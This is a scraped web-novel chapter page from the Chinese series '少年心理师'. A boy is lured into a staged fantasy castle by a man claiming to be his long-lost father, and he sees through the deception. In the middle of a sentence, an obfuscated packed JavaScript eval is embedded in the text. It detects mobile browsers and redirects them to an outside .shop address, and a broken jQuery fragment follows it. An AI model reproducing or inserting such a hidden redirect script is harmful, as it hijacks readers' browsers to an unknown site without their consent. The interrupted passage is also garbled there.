文趣网 > 其他小说 > 少年心理师 > 54. 《少年心理师 遗传密令》第七章
    冥冥的白烟腾起聚集,到处都是尘雾迷蒙,天地一片混沌。

    不知过了多久,风烟终于散去,斑驳的云彩半掩着天空,一只孤独的鹰隼从头顶划过,振翅而飞,高傲的头颅举向苍空。

    整个世界,除了天空,就是湖水。

    湖面就像刚刚擦拭过的镜子,莹澈见底,泛不起半点涟漪,湖底均匀地铺着一层浅红色的细沙。四周安静极了,没有任何生命的迹象,仿佛到了一个被魔法禁锢的地方,不见水草,也不见游鱼,只有浩漫无际的冰冷和静寂。

    站在湖心中央一块小小的空地上,莫晓乙怔怔地望着眼前的一切,这样的梦境,已经多久不见了?

    这个梦境,在幼小的时候,在孤独的时候,不断纠缠着他。

    自从有了帆帆,有了阿觉,空寂的心渐渐涂满色彩,这个梦也被遗忘到不知哪个角落?

    可是为什么,他会突然回到原地?

    堆积的云层之间突然闪出一道缝隙,一道华彩的虹桥降落半空,横跨在水天之间。

    高高的天级上,一个男人踏着虹桥缓步走下,来到莫晓乙的身前。

    湖光水色在他的眸中流转,那里埋藏着永恒的宁静,却又荡涤着时光的尘埃。透过它的身影,仿佛看到了宇宙中最纤细的美和最宏大的美,最冷酷的美和最温柔的美。

    生平第一次,莫晓乙因为看一个男人而发呆。

    不知为什么,见到他,心里便升起一种极大的快乐,极大的自在,心脏急速地跃动,从未有过的炽热感在血脉中飞快流窜?

    仿佛他们早已相识,早已相知,全无陌生之感。

    男人问莫晓乙:“喜欢这里吗?”

    莫晓乙摇摇头:“不喜欢。”

    “为什么?”

    “太冷清了。”

    男人笑了,刹那间,整片的湖,整个天空,甚至整个宇宙,都因为他的笑而震颤起来。

    在水天溶为一体的苍茫远方,泛起了粉红色的霞光,渐渐的,整个世界都被染成火红,模糊了所有界限和轮廓。

    当红光渐渐消退,眼前的景物竟在瞬间变幻。空寂如镜的湖水消失了,取而代之的是广袤的山林牧场,连绵无尽的庄园,还有一座超级宏伟的巨大城堡巍然耸立在碧蓝的天空之下,高高的塔楼在淡淡的雾气之间若隐若现,华美高傲却又充满神秘。

    男人又问:“那这里呢,喜欢吗?”

    莫晓乙不答反问:“这里是……”

    “我们的家,漂亮吗?”

    男人轻轻扬手,城堡的大门缓缓开启,首先入眼的是繁华千树,落英缤纷,其间错落有致地摆放着各种精美绝伦的白色大理石雕像,洁白如雪,纤尘不染。石阶之上,是一个面积大约三千平米的椭圆型游泳池,绿色的大理石池底晶莹碧透,池中央耸立着一座维纳斯神像喷泉,细碎的水珠洒落高空,光影交映,色彩变幻,让人目眩神迷。

    “我们……的家?”莫晓乙震撼于眼前古堡的奢华,同时也注意到他用词的怪异,“为什么这么说?你到底是谁?”

    笑容慢慢浮上男人的眼底,轻轻荡漾,恍如月下的湖面,悠远明亮,细碎闪烁。

    这样的笑容让莫晓乙感觉无比的熟悉,却又想不起来在什么时候见过?

    “晓乙,你真的猜不到我是谁吗?虽然我们的相见延迟了十七年,可是这十七年里,我无时无刻不在想念你,也无时无刻不在想着如何回到你的身边?”

    他的嗓音带着微沙的质感,就像清澈的小溪缓缓流淌,却让莫晓乙的心底骤然掀起了惊涛骇浪:“难道你是……是……”

    怎么可能?

    莫晓乙曾经无数次梦到这个人,可是每次见到他,都只有一个背影,无论自己如何呼喊,他也从未回头。

    莫晓乙心里明白,梦毕竟是梦,无论自己如何想念这个人,却对这个人没有丝毫了解。

    所以,即便在梦里,这个人的形象也始终无法完整起来。

    所以,他眼里心里能够见到的只能是一个破碎的他,一个飘然远去,永不回头的背影。

    可是今天,这个人非但转过了身,而且来到他的身前,那眼睛,那眉毛,那鼻子,那嘴唇,如此清晰,如此明朗,就像活在现实中的一个有血有肉的人。

    这样的梦,怎么可能?

    难道真的因为他太渴望拥有一个完整的家庭,所以大脑才会为他构筑一个全新的梦境,实现心底的愿望。

    难怪他的笑容莫名熟悉,那分明是自己笑时的味道。

    “晓乙,我的孩子,我终于见到你了。你知道吗?我等这一天,已经等了十八年。”

    男人呼唤“晓乙”的声音饱含磁性和情感,就像薄薄的潮湿的雾气,丝丝缕缕,缠上心间,让人情不自禁地陷身其中,生不起半分挣扎的念头。

    莫晓乙怔怔地看着他,泪水悄无声息地滚落脸庞,砸在草叶之间,好像露珠。

    男人心疼地擦去莫晓乙的泪水:“晓乙,不哭,虽然迟了这么久,可是我们终究见面了,这已经是上天莫大的眷顾。我们应该高兴才是!晓乙,我真的很快乐,我已经迫不及待地想要将自己拥有的一切介绍给你。首先,就是我们的家,这座私人城堡,它的名字是候晓,等候拂晓,也就是等候晓乙的到来,它是我专门为你而建,喜欢吗?”

    莫晓乙傻傻地望着眼前巨大奢华的城堡:“……为我而建?”

    这个梦,好像越来越离奇,越来越荒唐了?

    男人点头,拉着莫晓乙往里走:“随我来,我带你四处参观一下。”

    不愧是梦里的城堡,处处充满了梦幻般的色彩。

    整个城堡占地面积竟然有30多万平方米,仅室内面积就达5千平米,120个房间:主卧、餐厅、宴会厅、办公室、游戏室、壁球室、图书馆、保龄球室、电影放映厅等等,各种娱乐设施应有尽有。仅是大理石浴室就有20个,还有彩色玻璃和纯金打造的室内泳池,黄金镶边的天蓝色磁砖将池畔的雕龙水晶灯衬托的光彩灼灼,富丽堂皇,极尽豪华之能事。

    室外有马厩、酒窖、网球场、高尔夫球场和直升机降落坪,还有一座占地20多万平米的私家园林,栽种着各色珍奇花卉,橄榄树、橘子树、柠檬树连接成片,广阔的空间使得居家享受被划分得极为专业细致。

    站在最高层的亮台之上,男人指着艳阳下的城堡:“这里的每个房间,每处园林,都是我亲手为你设计的,晓乙,喜欢吗?”

    莫晓乙怔怔地俯视这座厘国白宫也要相形见绌的超豪华城堡,无数疑问在脑海里翻滚,纷乱如麻。

    这真的是梦境吗?

    可是,他从来没有过如此奢华而古怪的梦想。

    他的心里,家的定义只需要两间房,一间给爸爸妈妈,一间给自己。房间可以小,家具也可以破旧。他只希望每天早晨起来,能够亲手为爸爸妈妈煮好早餐,一家人边吃边笑。然后爸爸工作,妈妈买菜,他去上学。

    他的梦想很简单,也很简陋。

    梦,虽然超脱现实,却也基于现实,即便是被重组、被扭曲、被夸大的现实。

    或许有些梦稀奇古怪,毫无逻辑,内容却必定来源于大脑里存储的信息,绝非凭空产生。

    就像一个对音乐毫无感觉和天赋的人,绝不可能在梦中创作出他从未听过的乐曲。

    眼前的城堡绝对是顶级大师的手笔,室内室外一脉相承,色彩明丽,线条洗练,空间层次分明,淋漓尽致地彰显出主人的尊贵和奢华。

    这样的经典建筑,他别说见过,连听都没听过,即便穷尽想象,也难以创造出这样的景观。

    所以,莫晓乙满心疑惑:“难道我是一个建筑天才,竟然能在梦里构建出这样伟大的建筑?”

    男人怔了怔:“晓乙,难道你一直以为自己在做梦吗?”

    莫晓乙的眼底仿佛凝了深黑的底色:“难道不是吗?”

    那空寂幽冷的湖面,那骤然变幻的世界,还有这王廷般的城堡,若非在梦里,还能怎么解释?

    男人似乎有些犹豫:“若说在梦里也无不可,这里确实不是你曾经生活的世界。可是,这里的一切并非虚幻,而是真实存在的。”

    莫晓乙愕然:“这是什么意思?”

    “晓乙,你知道多维空间吗?”

    “多维空间?”莫晓乙忍不住笑,“不要告诉我,现在的我其实处于异次元空间?那比做梦还要荒谬!”

    男人叹息:“我知道这种说法很荒诞,我当初也不敢相信,可这偏偏就是事实。晓乙,若非空间阻隔,我怎么可能将你抛下十七年不管不顾?”

    莫晓乙心里一动:“到底怎么回事?”

    “跟我来,我让你看一件东西。”

    那是一面巨大的青铜古镜,泽漆光明,金丝镀边,几乎占据了整面墙壁,在空空荡荡的房间里显得尤为突出。铜镜边缘镂刻着华丽繁复的花纹,很像一种铭文,笔势纵横,绵延不绝,却无法分辨其中的字意。

    镜面被打磨得尤其光滑,亮白颜色,不见一点瑕疵,照出的人影异常清晰。

    莫晓乙轻抚镜面:“好大的铜镜,镜面竟然是银色的。我一直以为铜镜质量再好,镜面颜色也会显得暗淡。”

    男人解释:“春秋战国时候,铜镜的发展已经达到一个相当的高度。虽然也是青铜材质,却提高了含锡量,所以呈现出银光闪闪的亮白色效果。”

    “哦?这面铜镜,和你要讲述的事情有什么关系吗?”

    男人苦笑:“当然有关系。若没有它,我和你的母亲永远都没有相识的机会。因为这面铜镜并非普通的古镜,而是连接你我两个空间的唯一通道。当初,我无意中开启了这条通道,闯入你所在的世界,认识了你的母亲。我们很快相爱了,之后她就怀了你……那个时候,是我一生中最快乐的时光。可那边毕竟不是我的世界,属于我的一切都在这边,我的亲人,还有我的基业。深思熟虑之后,我决定带她回这边的世界,可我怎么也没想到……”

    莫晓乙不由自主地紧张起来:“怎么了?”

    男人苦笑:“我过来了,可是你的妈妈……不知为什么她无法穿越铜镜。我想回去找她,结果却再也回不去了,铜镜的通道竟然在最关键的时候关闭了。”

    莫晓乙张大了嘴,难道这就是妈妈精神失常的原因吗?眼睁睁地看着爱人消失,一镜之隔,却再也无法牵手同行。

    “那时的我快要急疯了,每天傻傻地等在铜镜前,期盼着通道再次开启。可是随着时间的逝去,我渐渐陷入了绝望……”

    莫晓乙的心神被男人神幻般的经历紧紧拽住:“后来呢?”

    “我以为再也见不到你和你的妈妈了,悔恨欲狂,恨自己为什么要回来?我完全没有心思打理这边的事业,每天吃在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724658|208808||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    铜镜前,睡在铜镜前,也醉在铜镜前,直到我见到了你……”

    “见到我?”莫晓乙有些莫名,“什么时候?”

    男人的回答再次让莫晓乙陷入恍惚:“十年前,我在铜镜里见到了你。看到你每天修建树桥,看到你在那简陋的砖房里读书学习,还见到你被同学们排斥,被村民们无视,还有你的母亲……她怎么会变成那个样子?”

    “你都看到了?你的离去,不但让我失去父亲,也同时让我失去了母亲。”

    男人猛地抱住莫晓乙,失声痛哭:“对不起……我的孩子……我虽然能够看到你,却触摸不到你,更别说改变什么。”

    眼泪再次浸湿了莫晓乙的眼睫,仿佛潮湿的雨林,雾气萦绕:“为什么你能见到我,我却不能见到你?”

    “我也不知道具体原因,这个铜镜好像是专门为你打造,只能见到你,和你身边的事物。或许因为你并不完全属于那个世界,你的身体里流着我的骨血,带有这边世界的气息。所以你的降生,让两个空间发生了微小的错乱。也所以,在机缘巧合之下,我竟然再次穿越铜镜,到了你的身边,成功地将你带回这边的世界……”

    莫晓乙满眼不可置信:“你的意思是说,现在的我已经跟着你穿越了铜镜,来到另外一个世界?”

    “不错,这是我的世界,也是你的世界。”

    胸口一点一点凉下去,心脏仿佛即将冻结,呼吸也即将停止:“不,不可能!”莫晓乙再也无法保持镇静,“不要告诉我,我会和你一样,再也见不到妈妈,阿觉和帆帆,曾经的一切,都从此刻终止。”

    “不是终止,是重新开始。晓乙,不要害怕,有爸爸在你身边,你会重新拥有一切,而且比原来的更多更好。”

    莫晓乙用力摇头:“不,我不需要,我只要原来的。”

    “晓乙,不要这样!我在这边苦苦守候了十八年,才终于把你等来,难道你一点都不在乎爸爸的感受吗?况且,你所生活的世界和现在所处的世界就像镜里镜外,相似度几乎达到百分之九十九,你很快就会适应的。”

    莫晓乙深深呼吸,努力让自己镇定下来:“还有百分之一呢?”

    “那百分之一就像镜面上沾染了污渍,导致镜里的世界产生了微小的扭曲和变化,而这个变化只限于特定区域,对其他地方没有任何影响。”

    “特定区域?指的是什么?”

    “就是以你我为中心,与我们相关的所有人事,两个世界截然不同。这可能就是唯有你我能够穿越铜镜的原因。”

    面对这突如其来的巨变,莫晓乙似乎也感到茫然无措,低着头,好久没有说话。

    男人刚想劝慰几句,莫晓乙却突然转身向外走去。

    “你去哪里?”男人莫名其妙地跟过去。

    莫晓乙走出别墅,一直走到那绿意茵茵的草坪中间,将食中两指含进口中,对着天空,打了一个响亮高亢的呼哨。

    随着那尖锐得仿佛直入云霄的口哨声,一只羽毛雪白的大雕突然钻出云层,在空中划过一道优美的弧线之后,动作轻盈地落向莫晓乙的肩膀,还用尖利的喙轻轻啄了啄少年的脑袋,没有丝毫凶狠,反而带着无限的亲密。

    莫晓乙灿烂的笑容里含着小小的得意:“介绍一下,这是球球,我的朋友。”

    男人张了张嘴,然后也笑了,笑容带着几分无奈,几分宠溺:“你这孩子,原来你早就知道了。”

    莫晓乙轻轻抚摸着球球的羽翼:“在晨曦城是不能豢养大型宠物的,球球虽然拥有特批证,可是许多邻居对它却极为恐惧。没办法,球球的体态过于凶猛,爪子也太过锋利。况且它还在继续长大,我也不想束缚了它。所以我从来不把球球拴在身边,随它去任何地方。虽然不知道球球平时都在哪里活动,可是每次我需要它的时候,它都会很快来到我的身边。”

    男人苦笑:“想不到我精心为你编织的世界,竟然会被一只白雕打破。”

    “虽然不知道你的目的,却不得不承认,你的故事确实让人非常震撼。可就因为太过震撼,反而有种不太真实的感觉。为了虚构这个世界,你想必花了不少心思吧?所有的家具家电,包括服装,见不到任何标识,可见全是专门订制的。如此浩繁的工作量,你竟然能在我昏迷不醒的短短半天内完成,简直就不可想象。对此,我必须说一句:辛苦了。”

    男人孩子气地皱皱鼻子:“你在讽刺我吗?”

    “不是的,只是表达我的佩服之情,佩服你的耐心、细心、精心,更佩服你的敢想敢为。可是又不得不说,那些□□虽然可以降低我的判断力,能让我在短时间内混淆梦幻与现实,可我毕竟是一名心理师,对于感知的判断自有一套辨识方法,你太小瞧我了!”

    男人认同地点点头,笑得竟然极为开心:“是呀,我太小瞧你了,晓乙就是晓乙,连我都骗不了你。”

    莫晓乙也在笑:“游戏既然结束,可以送我回去了吗?”

    男人摇摇头:“你现在回去,已经晚了。”

    莫晓乙心里一跳:“我必须回去,阿觉还在等我。”

    男人眼神有些怪异:“如果你回去之后,非但于事无补,还会搭上自己的性命,你依然坚持回去吗?”

    莫晓乙点点头,没有说话。

    男人的眼底突然浮现出深深的悲哀:“既然如此,我就送你回去,但愿你不会后悔。”